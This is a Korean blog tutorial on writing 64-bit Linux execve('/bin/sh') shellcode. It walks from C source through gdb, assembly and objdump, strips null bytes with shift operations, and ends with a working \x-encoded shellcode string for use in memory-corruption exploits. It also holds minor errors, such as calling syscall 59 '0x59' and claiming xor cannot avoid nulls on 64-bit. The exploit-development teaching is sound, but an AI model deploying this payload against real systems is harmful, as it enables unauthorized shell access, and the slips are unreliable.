64bit Linux Execve Shell Code 만들기
Offensive Security Engineer, Developer and H4cker.
오늘은 64비트 쉘코드에 대한 이야기를 할까 합니다. 예전에 이쪽 분야 관심을 가졌을 초반 쯤에 32bit에 대한 쉘코드를 만들고 사용했었지만 지금은 일 특성상 딱히 쉘코드를 사용할 일이 굉장히 적어졌기에 간만에 보는 느낌입니다.
일단 32bit나 64bit나 직접 assembly 코드를 짜거나, C에서 변환하는 식으로 하는것이 좋습니다.
Write test code
어디에서나 볼 수 있는 매우 간단한 execve를 활요하는 명령 실행 코드를 작성합니다. 어차피 system 함수나 뭘 쓰던 결국은 execve를 통해 시스템 콜을 요청하기 때문에 그냥 바로 execve로 하는게 쉽습니다.
#include <stdlib.h>
int main()
{
execve("/bin/sh",NULL,NULL);
}
매우 간단합니다. 그냥 execve 함수를 통해 /bin/sh를 실행하라고 하는 코드입니다.
Disassembling 하여 Assembly Code 확인하기
해당 코드를 gdb로 disassemble 하여 main 함수를 보면 다음과 같습니다.
(gdb) disas main
Dump of assembler code for function main:
0x000000000040050c <+0>: push %rbp
0x000000000040050d <+1>: mov %rsp,%rbp
0x0000000000400510 <+4>: mov $0x0,%edx
0x0000000000400515 <+9>: mov $0x0,%esi
0x000000000040051a <+14>: mov $0x4005dc,%edi
0x000000000040051f <+19>: callq 0x4003f0 <execve@plt>
0x0000000000400524 <+24>: pop %rbp
0x0000000000400525 <+25>: retq
End of assembler dump.
0x000000000040050c <+0>: push %rbp
0x000000000040050d <+1>: mov %rsp,%rbp
이 부분은 함수 프롤로그(시작) 부분과 같고,
0x0000000000400510 <+4>: mov $0x0,%edx
0x0000000000400515 <+9>: mov $0x0,%esi
0x000000000040051a <+14>: mov $0x4005dc,%edi
이 부분이 우리가 함수를 사용하는 부분 중 인자값에 관련된 부분이 됩니다.
edx, esi에 0x0(NULL)으로 값을 세팅하고 edi에 0x4005dc를 세팅합니다. 0x4005dc는 명령으로 확인해보면 "/bin/sh"인 것을 알 수 있습니다.
(gdb) x/s 0x4005dc
0x4005dc: "/bin/sh"
그리고 세팅된 인자값을 가지고 execve를 call합니다.
0x000000000040051f <+19>: callq 0x4003f0 <execve@plt>
execve는 시스템콜을 이용하여 호출할 수 있고 32비트는 11(0xb), 64비트는 59(0x59)로 정의되어 있습니다. 여기서 우리가 필요한 부분은 인자값을 넣고 함수를 실행하는 부분인데요.
mov $0x0,%edx
mov $0x0,%esi
mov $0x4005dc,%edi
mov $59, $rax
syscall
이런식으로 가면 인자값을 넣고 함수 실행이 가능할 것으로 보입니다. 이 내용을 바탕으로 assem 코드를 작성하면 아래와 같은 모양이 나오겠지요.
Assembly Code 작성하기
아까 위에서 gdb를 통해서 확인한 데이터를 가지고 Assembly 코드를 작성합니다.
.section .data
name: .string "/bin/sh"
.section .text
.global _start
_start:
pushq $0 ;
pushq name ;
movq $59, %rax ;
movq %rsp, %rdi ;
movq $0, %rsi
movq $0, %rdx ;
syscall
여기서 data section에 name이란 이름으로 /bin/sh를 넣어두고
.section .data
name: .string "/bin/sh"
rax에 시스템콜 넘버를 세팅하고, 나머지 자리에 인수를 세팅한 후
movq $59, %rax ;
movq %rsp, %rdi ;
movq $0, %rsi
movq $0, %rdx ;
syscall
syscall을 이용하여 명령을 실행합니다.
as -o shell.o shell.s
ld -o shell shell.o
실행파일로 만들어서 실행해보면 /bin/sh가 실행됨을 확인할 수 있습니다.
./shell
# echo "This is /bin/sh"
This is /bin/sh
일단 Assembly 코드를 이용해 다시 컴파일 하고 실행하여서 /bin/sh가 실행되는것으로 보아 문제없이 잘 작성한 것으로 보이네요.
Objdump를 이용하여 기계어 확인하기
분석에서도 많이 사용되는 objdump를 이용해서 Assembly를 이용해 만든 실행파일을 까서 봅니다. -d 옵션으로 볼 수 있습니다.
objdump shell -d
shell: file format elf64-x86-64
Disassembly of section .text:
00000000004000b0 <_start>:
4000b0: 6a 00 pushq $0x0
4000b2: ff 34 25 d4 00 60 00 pushq 0x6000d4
4000b9: 48 c7 c0 3b 00 00 00 mov $0x3b,%rax
4000c0: 48 89 e7 mov %rsp,%rdi
4000c3: 48 c7 c6 00 00 00 00 mov $0x0,%rsi
4000ca: 48 c7 c2 00 00 00 00 mov $0x0,%rdx
4000d1: 0f 05 syscall

일단 여기까지 확인한 데이터로 쉘코드로 사용이 가능은 합니다만. strcpy 같이 문자열을 처리하는 함수중에 0x00을 만났을 시 끝 부분으로 인지하는 함수들이 많습니다. 그래서 좋은 쉘코드 작성을 위해서는 Null Byte(0x00)에 대한 제거가 필요합니다.
Null Byte 제거하기
여러번의 테스트를 위해서 그냥 컴파일 과정+objdump까지 한 명령행으로 묶어 사용하면 조금 편합니다.
as -o shell.o shell.s;ld -o shell shell.o;objdump -d shell
.section .data
name: .string "/bin/sh"
.section .text
.global _start
_start:
pushq name
movq $59, %rax
mov %rsp, %rdi
movq $0, %rsi
movq $0, %rdx
syscall
일단 굳이 필요없는 부분은 제거해도 될 것 같아 테스트하면서 좀 지워봤습니다. 일단 execve가 인자값이 3개로 넣어줬는데, 사실 이거 한개로도 동작이 가능하기 때문이죠. rax에 system call number를 넘겨주고 인자값 하나에만 명령행을 넘겨줘도 일단 동작은 가능합니다.
cat shell.s
.section .data
name: .string "/bin/sh"
.section .text
.global _start
_start:
pushq name
movq $59, %rax
mov %rsp, %rdi
#movq $0, %rsi
#movq $0, %rdx
syscall
as -o shell.o shell.s;ld -o shell shell.o;objdump -d shell
shell: file format elf64-x86-64
Disassembly of section .text:
00000000004000b0 <_start>:
4000b0: ff 34 25 c4 00 60 00 pushq 0x6000c4
4000b7: 48 c7 c0 3b 00 00 00 mov $0x3b,%rax
4000be: 48 89 e7 mov %rsp,%rdi
4000c1: 0f 05 syscall
./shell
# exit
코드길이가 쬐끔 줄었네요. 실행했을때도 별 이상이 없습니다. 이제 Null byte의 위치를 보면 pushq 랑 2번째 mov에서 발생 합니다. 32bit는 xor로 가능하지만.. 64bit에서는 안타깝게도 불가능합니다.
xor %eax, %eax
movb 0xb, %al
해결을 위해서 여러가지 자료를 찾아봤습니다. 찾아보니 shift 연산을 이용하서 64bit에서도 null을 제거할 수 있는 방법이 있더군요.
cat shell.s
.section .data
name: .string "/bin/sh"
.section .text
.global _start
_start:
# pushq name
# string Null byte remove
movabs $0x1168732f6e69622f, %rbx
shl $0x08, %rbx
shr $0x08, %rbx
push %rbx
# movq $59, %rax
# rax(system call) Null Byte remove
movq $0x1111113b, %rax
mov %rsp, %rdi
shl $0x38, %rax
shr $0x38, %rax
syscall
Null이 발생하던 /bin/sh를 꺼내어 넣는부분과, eax에 system call을 주는 부분을 위와 같이 shift 연산을 통해 null이 없는 형태로 구현할 수 있습니다. 이에 대한 자세한 내용은 이 링크를 참고해주세요.
아까 테스트를 위해 사용하던 명령으로 컴파일 및 objdump로 확인을 하면
as -o shell.o shell.s;ld -o shell shell.o;objdump -d shell
shell: file format elf64-x86-64
Disassembly of section .text:
00000000004000b0 <_start>:
4000b0: 48 bb 2f 62 69 6e 2f movabs $0x1168732f6e69622f,%rbx
4000b7: 73 68 11
4000ba: 48 c1 e3 08 shl $0x8,%rbx
4000be: 48 c1 eb 08 shr $0x8,%rbx
4000c2: 53 push %rbx
4000c3: 48 c7 c0 3b 11 11 11 mov $0x1111113b,%rax
4000ca: 48 89 e7 mov %rsp,%rdi
4000cd: 48 c1 e0 38 shl $0x38,%rax
4000d1: 48 c1 e8 38 shr $0x38,%rax
4000d5: 0f 05 syscall
Null Byte가 사라진 것을 알 수 있습니다. 정상 구동이 되는지 테스트를 해보면 /bin/sh이 실행되는 것을 확인할 수 있습니다.
./shell
# ls
# shell shell.o shell.s
이제 objdump로 보인 데이터를 shell code로 만들 시간이네요. 저 데이터를 순서대로 써주어 하나의 문자열을 만들면 됩니다. 처음엔 직접하는게 좋겠지만.. 점점 귀찮기 때문에 nasm과 hexdump로 쉽게 뽑아낼 수 있습니다.
길지 않으니 !표로 나누어 쓰고 대부분 텍스트에디터 기능에 있는 찾아 바꾸기 기능을 이용해서 \x로 바꿔주면 편합니다.
!48!bb!2f!62!69!6e!2f!73!68!11!48!c1!e3!08!48!c1!eb!08!53!48!c7!c0!3b!11!11!11!48!89!e7!48!c1!e0!38!48!c1!e8!38!0f!05
! to \x

\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\xc7\xc0\x3b\x11\x11\x11\x48\x89\xe7\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05

32bit랑은 다른 부분이 있기에 알아두면 좋을 것 같습니다 :D